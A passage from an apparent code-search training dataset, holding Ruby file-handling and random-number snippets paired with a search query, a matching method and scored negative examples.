_i + 1\n _issue[:title] = _title\n\n # Grab context of issue specified by Config param (+1 to include issue itself)\n _context = _data[_i..(_i + @config.context_depth + 1)]\n\n # [review] - There has got to be a better way to do this...\n # Go through each line of context and determine indentation\n # Used to preserve indentation in post\n _cut = Array.new\n _context.each do |_line_sub|\n _max = 0\n # Until we reach a non indent OR the line is empty, keep slicin'\n until !_line_sub.match(/^( |\\t|\\n)/) || _line_sub.empty?\n # [fix] - Replace with inplace slice!\n _line_sub = _line_sub.slice(1..-1)\n _max = _max + 1\n\n debug_print \"New line: #{ _line_sub }\\n\"\n debug_print \"Max indent: #{ _max }\\n\"\n end\n\n # Push max indent for current line to the _cut array\n _cut.push(_max)\n end\n\n # Print old _context\n debug_print \"\\n\\n Old Context \\n\"\n debug_print PP.pp(_context, '')\n debug_print \"\\n\\n\"\n\n # Trim the context lines to be left aligned but maintain indentation\n # Then add a single \\t to the beginning so the Markdown is pretty on GitHub/Bitbucket\n _context.map! { |_line_sub| \"\\t#{ _line_sub.slice(_cut.min .. -1) }\" }\n\n # Print new _context\n debug_print(\"\\n\\n New Context \\n\")\n debug_print PP.pp(_context, '')\n debug_print(\"\\n\\n\")\n\n _issue[:context] = _context\n\n # These are accessible from _issue_list, but we pass individual issues\n # to the remote poster, so we need this here to reference them for GitHub/Bitbucket\n _issue[:tag] = _tag\n _issue[:path] = _relative_path\n\n # Generate md5 hash for each specific issue (for bookkeeping)\n _issue[:md5] = ::Digest::MD5.hexdigest(\"#{ _tag }, #{ _relative_path }, #{ _title }\")\n debug_print \"#{ _issue }\\n\"\n\n\n # [todo] - Figure out a way to queue up posts so user has a progress bar?\n # That way user can tell that wait is because of http calls not app\n\n # If GitHub is valid, pass _issue to GitHub poster function\n # [review] - Keep Remote as a static method and pass config every time?\n # Or convert to a regular class and make an instance with @config\n\n\n # [review] - Use _tag string as symbol reference in hash or keep as string?\n # Look into to_sym to keep format of all _issue params the same\n _issue_list[_tag].push(_issue)\n\n # Increment issue counter for posting status\n @config.issue_count = @config.issue_count.next\n end\n\n # [review] - Return of parse_file is different than watson-perl\n # Not sure which makes more sense, ruby version seems simpler\n # perl version might have to stay since hash scoping is weird in perl\n debug_print \"\\nIssue list: #{ _issue_list }\\n\"\n\n _issue_list\n end",
"def load_character account, filename\n end",
"def characterize(save: true)\n new_file = original_file.new(file_characterization_attributes.to_h)\n @file_node.file_metadata = @file_node.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n @persister.save(resource: @file_node) if save\n @file_node\n end",
"def suck_file\n if FileTest.file?(to_s)\n out = \"\"\n File.open(to_s, \"r\") do |file|\n file.each { |line| out << line << \"\\n\" }\n end\n\n out\n else\n nil\n end\n end",
"def filename(filename)\n @file = filename\n @filetype = File.extname filename\n @content = File.open(filename,\"r\").readlines\n if @filetype == \"\"\n if @content.first.index(\"ruby\")\n @filetype = \".rb\"\n end\n end\n @_populate_needed = true\n end",
"def get_file(path)\n file = path[1..-1]\n case path\n when '/CURRENT_REVISION'\n change['revisions'][change['current_revision']]['_number']\n when '/COMMIT_MSG'\n commit_file(change['current_revision'])\n when '/.0_COMMIT_MSG'\n ''\n when /\\.(\\d+)_COMMIT_MSG/\n commit_file(Regexp.last_match(1)) # TODO: handle commit like a normal file (with comments for instance)\n when /\\.(\\d+)_(.*)$/\n revision = Regexp.last_match(1).to_i\n filename = file_from_sanitized(Regexp.last_match(2))\n content = get_ab_file(Regexp.last_match(2), revision)\n FileWithComments.new(Regexp.last_match(2),\n content,\n comments(filename, revision),\n comments(filename, revision, draft: true))\n else\n \"Nothing in there, see .xx_#{file} with xx the patchset version\\n\"\n end\n end",
"def read_file(filename); end",
"def process_file(file_name)\n\tbegin\n\t\tFile.foreach(file_name, encoded: 'ASCII') do |line|\n\t\t\t\tprocess_line(line)\n\t\tend\n\trescue\n\t\tSTDERR.puts \"Could not open file, #{$!}\"\n\t\texit 4\n\tend\nend",
"def cfile_for_file path\n _, file, ext = path.match(EXTENSION_REGEX).to_a\n\n if ext && ext != \"\" && compiler = @compilers_by_input[ext]\n get_cfile(path, compiler, ext, compiler[:outputs].first)\n else\n nil\n end\n end",
"def read_file(filename, content_type = nil)\n data = File.binread(filename)\n\n if detect = mime_type_charset_detecter(content_type)\n detect.call(data).encode(Encoding::UTF_8, universal_newline: true)\n else\n data\n end\n end",
"def open_file\n begin\n @text = File.open(@file_name).read\n @text.gsub!(/\\r\\n?/, '\\n')\n rescue => e\n Utils_errors::critical_error('could not open file ' + @file_name.yellow, e)\n end\n true\n end",
"def pre_compile(main_file, settings)\n\tFile.read(main_file)\nend",
"def perform(filepath)\n\n end",
"def github_filepath(fname)\n \"http://github.com/TK/#{File.basename fname}\"\nend",
"def characterize(save: true)\n [:original_file, :intermediate_file, :preservation_file].each do |type|\n target_file = @file_set.try(type)\n next unless target_file\n @file_object = Valkyrie::StorageAdapter.find_by(id: target_file.file_identifiers[0])\n new_file = target_file.new(file_characterization_attributes.to_h)\n @file_set.file_metadata = @file_set.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n end\n @file_set = persister.save(resource: @file_set) if save\n @file_set\n end",
"def characterize(save: true)\n [:original_file, :intermediate_file, :preservation_file].each do |type|\n target_file = @file_set.try(type)\n next unless target_file\n @file_object = Valkyrie::StorageAdapter.find_by(id: target_file.file_identifiers[0])\n next unless image_valid?\n new_file = target_file.new(file_characterization_attributes.to_h)\n @file_set.file_metadata = @file_set.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n end\n @file_set = persister.save(resource: @file_set) if save\n @file_set\n end",
"def minify(filepath)\n @original_filepath = filepath\n # Count number of line of input\n input_lines = IO.readlines(filepath).length\n # File streaming\n File.open(min_ext, 'w') do |output|\n File.foreach(filepath).with_index(1) do |line, i|\n eol = ':' # End of file char\n # Remove inline comment (must be before whitespace striping)\n line = inline_comment(line)\n # Remove leading and trailing whitespaces: null, horizontal tab, line feed,\n # vertical tab, form feed, carriage return, space\n line.strip!\n # Remove comments except inline ones (must be after whitespace striping)\n line = '' if line[0] == \"'\" || line[0..2].upcase == 'REM'\n # Remove space when several spaces between two keywords\n line = internal_space(line)\n # Remove line splitting\n line[-1] = '' && eol = '' if line[-2..] == ' _'\n # Write processed line unless it is a blank line or the last line\n unless line.empty?\n output.write(line)\n output.write(eol) unless i == input_lines\n end\n end\n end\n calc_size\n return @min_filepath\n end",
"def analyse(file_path)\n fixed = 0\n words = []\n File.open(file_path, \"r:iso-8859-1\") do |f|\n words = f.readlines(sep=\" \")\n words.dup.each_with_index do |word, i|\n word.delete!(\" \")\n match, dist = @tree.best word.downcase\n if !match.nil? && dist != 0\n fixed+=1\n words[i] = capitalize_if_needed(word, match)\n # puts \"#{word} - #{match}\"\n end\n end\n end\n # print \"file: #{file_path}\\nwords: #{words.size}\\nfixed words:#{((fixed.to_f/(words.size).to_f)*100).round(2)}%\\n\"\n save words, file_path\n end",
"def pre_conversion(file)\n # puts \"===== PRE ====\"\n tmp_file = tmp_filepath(file)\n FileUtils.cp(file, tmp_file)\n # puts \"Copied #{file} to #{tmp_file}\"\n end",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tif RUBY_PLATFORM.downcase.include? 'mswin'\n\t\t\tfile = File.open(file_name)\n\t\t\tunless file.eof?\n\t\t\t\tfile.each_line do |line|\n\t\t\t\t\t# do something for each line (if using windows)\n\n\t\t\t\tend\n\t\t\tend\n\t\t\tfile.close\n\t\telse\n\t\t\tIO.foreach(file_name, encoding: \"utf-8\") do |line|\n\t\t\t\t# do something for each line (if using macos or linux)\n\t\t\t\ttesting = cleanup_title(line)\n\t\t\t\tgenBigram(testing)\n\t\t\tend\n\t\tend\n\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend",
"def readFile(fileName)\n begin\n fContent = File.open(fileName).read\n rescue DefaultException => e\n puts \"Reading repository file failed :#{fileName}\"\n end\n end",
"def convert_file(filename)\n return convert(File.read(filename), filename)\n end",
"def validate_file(file_path)\n if file_path.respond_to? :read\n src = file_path.read\n else\n src = read_local_file(file_path)\n end \n # we force the :post mode otherwise it fails for\n # big files\n return validate_text(src, :post)\n end",
"def remove_comments(filepath)\n text = File.read(filepath)\n replace = text.gsub(/^--.*$/, \"\")\n File.open(filepath, \"w\") {|file| file.puts replace}\n end",
"def get_content(file_path)\n puts \"getting markdown for: #{file_path}.md\\n\\n\"\n file = File.open(\"data/pages/#{file_path}.md\", \"r\")\n return file.read\nend",
"def pbGetFileChar(file)\n file = canonicalize(file)\n if !safeExists?(\"./Game.rgssad\") && !safeExists?(\"./Game.rgss2a\")\n return nil if !safeExists?(file)\n begin\n File.open(file,\"rb\") { |f| return f.read(1) } # read one byte\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES\n return nil\n end\n end\n Marshal.neverload = true\n str = nil\n begin\n str = load_data(file)\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES, RGSSError\n str = nil\n ensure\n Marshal.neverload = false\n end\n return str\nend",
"def canonicalize\n FilePath.new(File.expand_path(to_s))\n end",
"def translator(file)\n #Opens the file\n text = File.read(file)\n #Check the content for any non vocals -> adds an o and the non vocal instead\n replace = text.gsub!(/([bcdfghjklmnpqrstvwxzBCDFGHJKLMNPQRSTVWXZ])/, '\\1o\\1')\n #Replace the original content with translated content\n File.open(file, \"w\") {|z| z.puts replace}\nend",
"def convert\n # TODO: implementation\n output_file = choose_output\n return if output_file.nil?\n Converter.translate(@file, output_file)\n log(\"File conversion finished\")\n end",
"def verify_file_under_repo(filepath)\n unless File.expand_path(filepath).starts_with?(GIT_REPO)\n raise \"Invalid path=#{filepath}, must be under git-wiki repository\"\n end\n filepath\n end",
"def read_file(file)\n File.read(file)\nend",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tif RUBY_PLATFORM.downcase.include? 'mswin'\n\t\t\tfile = File.open(file_name)\n\t\t\tunless file.eof?\n\t\t\t\tfile.each_line do |line|\n\t\t\t\t\t# do something for each line (if using windows)\n\t\t\t\t\t# do not touch this! You have a Mac!\n\t\t\t\tend\n\t\t\tend\n\t\t\tfile.close\n\t\telse\n\t\t\tIO.foreach(file_name, encoding: \"utf-8\") do |line|\n\t\t\t\ttitle = cleanup_title line\n\t\t\t\t\tif title != nil\n\t\t\t\t\t\taddtoB(title)\n\t\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tsearch = \"\"\n#\t\twhile search != \"q\" # continues while user doesn't enter 1\n#\t\t\tputs(\"Enter a word [Enter 'q' to quit]:\") # prompts for user input\n#\t\t\tsearch = $stdin.gets.chomp # get input from user\n#\t\t\tif (search != \"q\") # if they typed in q, we don't want to create a title\n#\t\t\t\tprint(create_title(search)) # creates and prints title\n#\t\t\tend\n#\t\t\tputs \"\" # extra line for prettiness! ~\n#\t\tend\n\tend\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit\n\tend",
"def read_text(filename); end",
"def get_content(file, rev = 'HEAD', options = {})\n args = standard_args(options)\n args.push('--revision', rev)\n args.push(\"#{@repo}/#{file}\")\n\n svn('cat', args)\n end",
"def parse(path, contents = nil)\n contents ||= File.open(path, 'r:utf-8', &:read)\n\n # Work around for Rubinius incomplete encoding in 1.9 mode\n if contents.respond_to?(:encoding) && contents.encoding.name != 'UTF-8'\n contents.encode!('UTF-8')\n end\n\n if contents.tr!('“”‘’‛', %(\"\"'''))\n # Changes have been made\n puts \"Your #{path.basename} has had smart quotes sanitised. \" \\\n 'To avoid issues in the future, you should not use ' \\\n 'TextEdit for editing it. If you are not using TextEdit, ' \\\n 'you should turn off smart quotes in your editor of choice.'.red\n end\n\n self.defined_in_file = path\n instance_eval do\n # rubocop:disable Lint/RescueException\n begin\n # rubocop:disable Eval\n eval(contents, nil, path.to_s)\n # rubocop:enable Eval\n rescue Exception => e\n message = \"Invalid `#{path.basename}` file: #{e.message}\"\n raise DSLError.new(message, path, e.backtrace, contents)\n end\n # rubocop:enable Lint/RescueException\n end\n end",
"def read_file(absolute_path); end",
"def convert_line(line, filename)\n if filename.include?('loops') || filename.include?('peers')\n convert_ntp_line(line)\n elsif filename.include?('message')\n convert_message_line(line)\n elsif filename.include?('nagios')\n convert_nagios_line(line)\n else \n convert_ntp_line(line) # give up, fall back on original behavior\n end \nend",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\t#IO.foreach(file_name) do |line|\n\t\tsize = File.new(file_name).size\t# This is the only way I've been able to get the entire unique_tracks.txt to be read\n\t\tfile = File.open(file_name)\n\t\tlines = file.read(size)\n\t\tlines_array = lines.split(\"\\n\")\n\t\tlines_array.each do |line|\t# For each line of the file\n\t\t\tline += \"\\n\"\t# Above file parsing splits lines on the \\n character, but the cleanup_title\n\t\t\t # method uses the \\n charaacter in the non-English characters check so it needs to be added back\n\t\t\ttitle = cleanup_title(line)\t# Removes unwanted text and sets string to downcase\n\t\t\tbuild_bigram(title)\t# Builds the bigram structure\n\t\tend # do lines.each\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue # begin\n\t\tSTDERR.puts \"Could not open file\"\n\t\traise\n\t\texit 4\n\tend # rescue\nend",
"def texte\n @texte ||= begin\n exist? && File.read(path).force_encoding('utf-8')\n end\n end",
"def file_language_by_file_extension s_file_path, msgcs\n if KIBUVITS_b_DEBUG\n bn=binding()\n kibuvits_typecheck bn, String, s_file_path\n kibuvits_typecheck bn, Kibuvits_msgc_stack, msgcs\n end # if\n ar_tokens=Kibuvits_str.ar_bisect(s_file_path.reverse, '.')\n s_file_extension=ar_tokens[0].reverse.downcase\n s_file_language=\"undetermined\"\n case s_file_extension\n when \"js\"\n s_file_language=\"JavaScript\"\n when \"rb\"\n s_file_language=\"Ruby\"\n when \"php\"\n s_file_language=\"PHP\"\n when \"h\"\n s_file_language=\"C\"\n when \"hpp\"\n s_file_language=\"C++\"\n when \"c\"\n s_file_language=\"C\"\n when \"cpp\"\n s_file_language=\"C++\"\n when \"hs\"\n s_file_language=\"Haskell\"\n when \"java\"\n s_file_language=\"Java\"\n when \"scala\"\n s_file_language=\"Scala\"\n when \"html\"\n s_file_language=\"HTML\"\n when \"xml\"\n s_file_language=\"XML\"\n when \"bash\"\n s_file_language=\"Bash\"\n else\n msgcs.cre \"Either the file extension is not supported or \"+\n \"the file extension extraction failed.\\n\"+\n \"File extension candidate is: \"+s_file_extension, 1.to_s\n msgcs.last[\"Estonian\"]=\"Faililaiend on kas toetamata või ei õnnestunud \"+\n \"faililaiendit eraldada. \\n\"+\n \"Faililaiendi kandidaat on:\"+s_file_extension\n end # case\n return s_file_language\n end",
"def read_file(file)\n text_file = (path.ftype == \"directory\" ? path : Pathname.new(path.dirname)) + file\n File.read(text_file) if File.exists?(text_file)\n end",
"def act_on_file(filename)\n basename = string_basename(filename)\n case File.extname(filename)\n when \".gz\"\n # .tar.gz\n if File.extname(string_basename(filename)) == \".tar\" then tar_gz(filename, basename) end\n # This is the shortform for .tar.gz\n when \".tgz\" : tar_gz(filename, basename)\n # TODO: This can't deal with passwords.\n when \".rar\" : unc_common(\"unrar x \", filename, basename)\n end\nend",
"def open_file f\n return unless f\n unless File.exist? f\n # this happens if we use (T) in place of (M) \n # it places a space after normal files and @ and * which borks commands\n last = f[-1]\n if last == \" \" || last == \"@\" || last == '*'\n f = f.chop\n end\n end\n if File.directory? f\n change_dir f\n elsif File.readable? f\n system(\"$EDITOR #{Shellwords.escape(f)}\")\n f = Dir.pwd + \"/\" + f if f[0] != '/'\n $visited_files.insert(0, f)\n push_used_dirs Dir.pwd\n else\n perror \"open_file: (#{f}) not found\"\n # could check home dir or CDPATH env variable DO\n end\nend",
"def characterize\n self.characterization.ng_xml = self.content.extract_metadata\n fix_data_characterization!\n self.append_metadata\n self.filename = self.label\n save\n end",
"def characterize(save: true)\n @file_characterization_attributes = {\n width: image.width.to_s,\n height: image.height.to_s,\n mime_type: image.mime_type,\n checksum: MultiChecksum.for(file_object),\n size: image.size\n }\n new_file = original_file.new(@file_characterization_attributes.to_h)\n @file_node.file_metadata = @file_node.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n @persister.save(resource: @file_node) if save\n @file_node\n end",
"def file(filename) File.read(File.absolute_path(filename, File.dirname($PROGRAM_NAME))) end",
"def file_read( file )\n vputs \"Reading '#{ file }'\"\n # I suspect that there are issues reading files with a space in them. I'm having a hard time tracking it down though.. TODO: I should adjust the test case.\n if ! File.exists?( file ) then\n puts \"That file doesn't exist: '#{ file.inspect }'\"\n return\n end\n # TODO: Check permissions, etc.\n# file = file.sub( ' ', '_' )\n f = File.open( file, 'r' )\n string = f.read\n f.close\n return string\nend",
"def guess(file)\n super(File.realpath(file))\n end",
"def file\n #load_file\n @file ||= load_file\n end",
"def coverpath(filepath)\n extname = File.extname(filepath)\n filepath.gsub(/#{extname}$/, '.jpg')\n end",
"def access_file(filename)\n\tcontents = File.read(filename)\n\n\tputs \"Unprocessed: \" + contents\n\n\tprocessed_contents = File.open(filename) do |file|\n\t\t# do processing and return processed file contents here\n\t\treturn file.read.replace \"a\" \"zzz\"\n\tend\n\n\tputs \"Processed: \" + contents\nend",
"def convert_file(content,user,filename,format)\n name = name_cleaner(filename)\n Dir.glob(\"public/docs/#{user.id.to_s}_*\") do |my_file|\n File.delete(my_file)\n end\n new_file_name = \"#{user.id.to_s}_#{name}.#{format}\"\n Tempfile.open(['pandoc','.html'], Rails.root.join('public/docs') ) do |f|\n f.print(content)\n f.flush\n system(\"pandoc -s -S #{f.path} -o public/docs/#{new_file_name}\")\n f.unlink\n end\n return {filename: new_file_name, filepath: \"public/docs/#{new_file_name}\" } \n end",
"def file=(new_file)\n @file = File.open(new_file.path, 'rb')\n @filename = new_file.original_filename || 'No file' rescue 'No file'\n @bibtex_source = @file.read.force_encoding(\"UTF-8\")\n end",
"def prepareForFile(filename)\n end",
"def get_string_from_file(filename)\n File.open(filename, \"rb\") do |f|\n return f.read\n end\nend",
"def load(fn)\n return if ! File.exists?(fn)\n lines = File.read fn\n lines.gsub!(/\\\\ /, SPACE_MARK)\n lines.gsub!(/#[^\\n]*\\n/m, \"\")\n lines.gsub!(/\\\\\\n/, ' ')\n lines.each_line do |line|\n process_line(line)\n end\n end",
"def read(path); end",
"def source(filename); end",
"def find_file(path_info, accept_encoding:); end",
"def read_file(template)\n File.read(template)\nend",
"def ensure_source_processed(translated_filename)\n return unless $SOURCE.empty?\n\n source_filename = File.dirname(translated_filename) + '/en.yml'\n source_contents = File.read(source_filename)\n original_source = YAML.safe_load(source_contents)\n convert_source('', original_source['en'])\nend",
"def process(website_file, processing_contents)\n return processing_contents if not website_file.config.remove_h1_tags\n\n possible_translators = \\\n translators.select {|name, translator| translator.translates?(website_file)}\n return processing_contents if possible_translators.length == 0\n\n #if possible_translators.nil?\n # throw \"nil 1\"\n #elsif possible_translators[0].nil?\n # throw \"nil 2\"\n #end\n\n translator = possible_translators.values[0]\n\n # Just remove the first one, if we can.\n translator.h1_regex.nil? ? processing_contents : processing_contents.sub(translator.h1_regex, \"\")\n end",
"def copy_from_github(filename, destination: filename)\n source = \"https://raw.githubusercontent.com/chimney-rock/rails-api-template/master/#{filename}\"\n remove_file(destination) if File.exists?(destination)\n get(source, destination)\nrescue OpenURI::HTTPError\n puts \"ERROR: Unable to obtain file `#{source}`\"\nend",
"def compile_wiki_file(filename, wiki_dir, compile_dir)\n File.open(File.join(wiki_dir, filename)) do |file|\n wiki_file = file.read\n File.open(File.join(HTML_DIR, filename.sub(/\\.wiki$/, \"\").concat(\".html\")), 'w') do |out_file|\n content = WikiCreole.creole_parse(wiki_file)\n html_file = ''\n File.open(File.join('data', 'default.html')) {|file| html_file = file.read}\n \n erb = ERB.new(html_file)\n html_file = erb.result(binding)\n \n out_file.puts(html_file)\n end\n end\nend",
"def read_file(source)\n if @source_type == \"url\"\n fileHtml = open(source).read\n else\n fileHtml = File.open(source, \"r\")\n end\n\n text = \"\"\n begin\n fileHtml.each_line do |line|\n text << line\n end\n fileHtml.close\n rescue\n text = false\n ensure\n #fileHtml.close unless fileHtml.nil?\n end\n\n text\n end",
"def extract_source_from_file(file_path, env = {})\n source = HtmlMockup::Template.open(file_path, :partials_path => self.project.partial_path, :layouts_path => self.project.layouts_path).render(env.dup)\n\n if @options[:url_relativize]\n source = relativize_urls(source, file_path)\n end\n \n source\n end",
"def file_to_str_and_validate(file)\n cat_str = File.open(File.expand_path(file), 'r') { |f| f.read }\nend",
"def loadfile(filename)\n file = nil\n open(filename, 'r') do |f|\n file = f.read\n end\n file\nend",
"def modify_file\n file_path = \"./app/views/hocr_files/_p#{self.filename}_hocr.html\"\n file = File.open(file_path, \"r\")\n data = file.read\n data = self.replace_bbox(data)\n data = self.add_image(data)\n File.open(file_path, 'w') {|f| f.write(data) }\n end",
"def change_file file=nil\n if file.nil?\n #fn = accept_file_name\n file = choose_filename\n return if file == \"\"\n end\n check_file_age file\n get_data file\n $filename = file\n post_cd\nend",
"def pbGetFileChar(file)\n file=canonicalize(file)\n if !(safeExists?(\"./Game.rgssad\") || safeExists?(\"./Game.rgss2a\"))\n return nil if !safeExists?(file)\n begin\n File.open(file,\"rb\"){|f|\n return f.read(1) # read one byte\n }\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES\n return nil\n end\n end\n Marshal.neverload=true\n str=nil\n begin\n str=load_data(file)\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES, RGSSError\n str=nil\n ensure\n Marshal.neverload=false\n end\n return str\nend"
] | [
"0.52823174",
"0.5210008",
"0.5159241",
"0.51019925",
"0.5078289",
"0.50264984",
"0.50216323",
"0.49831176",
"0.49456105",
"0.49415442",
"0.48564264",
"0.4850974",
"0.47973493",
"0.47727823",
"0.47692093",
"0.4724287",
"0.47218582",
"0.46690923",
"0.46659172",
"0.46640107",
"0.4659307",
"0.4650534",
"0.46466792",
"0.4643845",
"0.46430957",
"0.4636432",
"0.46322897",
"0.46243292",
"0.4609344",
"0.46037155",
"0.45807528",
"0.45778382",
"0.45640936",
"0.4541616",
"0.45401868",
"0.45390448",
"0.45122844",
"0.45096874",
"0.44974196",
"0.44948798",
"0.44903314",
"0.4488617",
"0.44838968",
"0.44709793",
"0.4470271",
"0.44492033",
"0.44451723",
"0.44448605",
"0.4443974",
"0.4438062",
"0.4428141",
"0.44275206",
"0.44200242",
"0.4414935",
"0.4407777",
"0.44064167",
"0.4405314",
"0.43960777",
"0.43932995",
"0.43793496",
"0.4373526",
"0.43625048",
"0.4360806",
"0.43576026",
"0.43546054",
"0.43484813",
"0.43480447",
"0.43462235",
"0.43417662",
"0.43372935",
"0.4337198",
"0.43363023",
"0.43270275",
"0.43256927",
"0.43219918",
"0.43216184",
"0.43202645",
"0.43153054",
"0.4308146",
"0.43074825",
"0.43027085",
"0.4302132",
"0.43014118",
"0.4299319",
"0.42967507",
"0.42967036",
"0.4295711",
"0.42949498",
"0.42941546",
"0.42912352",
"0.4282967",
"0.42799252",
"0.42798975",
"0.42797506",
"0.42744508",
"0.4271444",
"0.42706928",
"0.42693394",
"0.42654854",
"0.4258003"
] | 0.58841264 | 0 |
this method must use rand rand is already tested | def random_add(num, options = [1,2,3,4,5,6,7,8,9,10])
num + options.sample
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_random()\n \n end",
"def get_random()\n \n end",
"def rand\n Kernel.rand(self)\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def rand\n warn \"STUB: rand in distribution.rb\"\n end",
"def rand_point()\n \n end",
"def tirar_dado\r\n\trand 1..6\r\nend",
"def nostalgia; return rand end",
"def random\n rand - rand\nend",
"def tirar_dado\r\n rand 1..6\r\nend",
"def srand(num=0) end",
"def test_different_rand_for_different_seeds\n random_generator = RandomGenerator::new\n random_generator.get_rand(1)\n first_val = rand()\n random_generator.get_rand(2)\n second_val = rand()\n assert_equal false, (first_val == second_val)\n end",
"def initialize\n srand\n end",
"def random\n 1 + (10 * rand(0))\n end",
"def tirar_dado\n rand 1..6\nend",
"def tirar_dado\n rand 1..6\nend",
"def tirar_dado\n rand 1..6\nend",
"def tirar_dado\n rand 1..6\nend",
"def make_not_so_random!\n srand 1213\nend",
"def rand_nr\n return rand(1..2)\nend",
"def random_no\n rand(5000)\nend",
"def random(*args); end",
"def recite_random\n number = rand(1..@size)\n return recite(number)\n end",
"def shuffle()\n \n end",
"def shuffle!\r\n\t\trandomize!\r\n\tend",
"def random_element()\n\t\tshuffle[0]\n\tend",
"def rand_choice \n Random.rand(0...6)\n end",
"def random\n CYCLE * rand\nend",
"def randomizer\n number = rand(0..1)\n return number\nend",
"def pick\n @gommis_count = Gommi.count\n @gommis = Gommi.offset(rand(Gommi.count)).first\nend",
"def randomkey; end",
"def randomkey; end",
"def get_rand range\n\t\t@random_number = rand(range)\n\tend",
"def gen_speed\n rand + 15.0\n end",
"def make_rand\n Random.new_seed\n return Random.new\n end",
"def random20\n rand(20) + 1\n end",
"def get_random()\n @a.sample\n end",
"def get_random()\n @a.sample\n end",
"def random(tg,faulty,replacements,n)\n get_mappings(faulty,replacements).sample\nend",
"def random_number\n rand(0..20)\n end",
"def randomize_count()\n @rand_count\n end",
"def generate\n (0..30).sort{ rand() } .take(@conf)\n end",
"def random_type; end",
"def generateRandomMember(members_count)\n rand(members_count)\nend",
"def random\n new(one.random())\n end",
"def rand7\n rand * 7\nend",
"def randomize\n randomly_select_different(self.size)\n end",
"def choice\n rand\n end",
"def randomize\n @links.sample\n end",
"def temp_count\n @count = rand(0..10)\n end",
"def new_random\n @randomizer = Random.new if $options['respect_randomize'].value\n end",
"def random_number\n rand 0..20\nend",
"def get_random\n @num.sample.first\n end",
"def random_element()\n shuffle[0]\n end",
"def next_rand\n begin\n num = rand(0...possible_products.count)\n end while(@chosen_nums[num])\n @chosen_nums[num] = 1\n num\n end",
"def recite_random_subject\n number = rand(1..@size)\n return recite_subject(number)\n end",
"def randomRoll\n\t 1 + rand(6)\n\tend",
"def rand_index\n SecureRandom.random_number(size)\n end",
"def randomize\n self.sort_by { rand }\n end",
"def random_number \n rand(6) + 1 \nend",
"def deal_card\n rand(1...12)\nend",
"def test_random_number_generation\n rand = @game.get_random_number(0, 10)\n assert rand <= 10 && rand >= 0\n end",
"def deal_card\n return rand(1..11)\nend",
"def pick_random\n self[rand(self.size)]\n end",
"def random_number\n rand(1..20)\nend",
"def rand\r\n at(Kernel.rand(self.size))\r\n end",
"def set_rand()\n rdm = Random.new()\n @step = rdm.rand(1..10) * 100\n @rate = rdm.rand(1.2..3.0) \n end",
"def random_index\n return (rand * size).to_i\n end",
"def rand(*args)\n Kernel.rand(*args)\nend",
"def randomNum()\r\n num = rand(1..10)\r\nend",
"def random_num_generator\n return rand(1..100)\nend",
"def random_num_generator\n return rand(1..100)\nend",
"def roll\n # code goes here\n 1 + rand(6) #1st method\n number = [1, 2, 3, 4, 5, 6] #2nd method\n number.sample #2nd method\nend",
"def mine_fake(random)\n if @max_fake.zero?\n 0\n else\n fake = random.rand(@max_fake + 1)\n fake\n end\n end",
"def rand_digit #generate random digit\n\treturn rand(10)\nend",
"def gen_uniq_rand(limit, unuseable)\n random = rand(limit)\n !(unuseable.include?(random)) ? random : gen_uniq_rand(limit, unuseable)\nend",
"def randomize!\n self.replace(self.randomize)\n end",
"def random_resilience_generator\n self.resilience = 10.times.sum{ Random.rand(1..13) } \n end",
"def random\n self[rand(self.size)]\n end",
"def compute_damage\n \treturn rand(1..6)\n end",
"def random(range)\n return rand(range + 1)\nend",
"def gen_rand b\n p = rand(2**b)+2**b-1\n while ! rand_test p\n# puts p\n p += 1\n end\n p\nend",
"def random\n card_dealt = @possible_cards.sample\n end",
"def generate_random_number\n (1..10).to_a.sample\nend",
"def generate_products\n departments = Department.all\n promo_codes = PromoCode.all\n prng = Random.new\n\n 10_000.times do\n promo_code = promo_codes.first\n\n if prng.rand(1..2) == 1\n promo_code = promo_codes[prng.rand(promo_codes.length)]\n end\n\n Product.create(\n name: Faker::Commerce.unique.product_name,\n price: Faker::Commerce.price,\n department: departments[prng.rand(departments.length)],\n promo_code: promo_code\n )\n end\n# Just in case Faker has less data than I imagine\nrescue Faker::UniqueGenerator::RetryLimitExceeded\nend",
"def random= rnd\n @sampling.random = rnd\n end",
"def random_element\n sample\n end",
"def call(context, *args)\n case args.size\n when 1\n context.random.rand(args.first)\n when 2\n context.random.rand(args.first...args.last)\n else\n raise Exceptions::InvalidFunctionError.new\n end\n end",
"def shuffle # You can't use .shuffle!\n\n end",
"def get_random()\n rand(@count).times { @cur = @cur.next }\n @cur.val\n end",
"def rand(max=0) end",
"def random\n if (c = count) != 0\n find(:first, :offset => rand(c))\n end\n end",
"def random\n active.order(\"RAND()\").first\n end",
"def roll\n # code goes here\n #roll = rand(1..6)\n #roll\n roll_array = [1, 2, 3, 4, 5, 6]\n roll_array.sample\nend",
"def gen_num\n rand(1..100)\nend",
"def randr(min, max)\n rand(max - min + 1) + min\nend",
"def random_node\n self.to_a.random\n end",
"def random_age\n rand(20...200)\nend"
] | [
"0.78279054",
"0.78279054",
"0.75441974",
"0.7326345",
"0.7326345",
"0.7326345",
"0.7326345",
"0.7267854",
"0.716074",
"0.712885",
"0.71130025",
"0.71070814",
"0.707349",
"0.7039445",
"0.7027506",
"0.7020674",
"0.7019629",
"0.70107657",
"0.6999173",
"0.6999173",
"0.6999173",
"0.6991293",
"0.6964027",
"0.6951218",
"0.69492996",
"0.69467753",
"0.69372815",
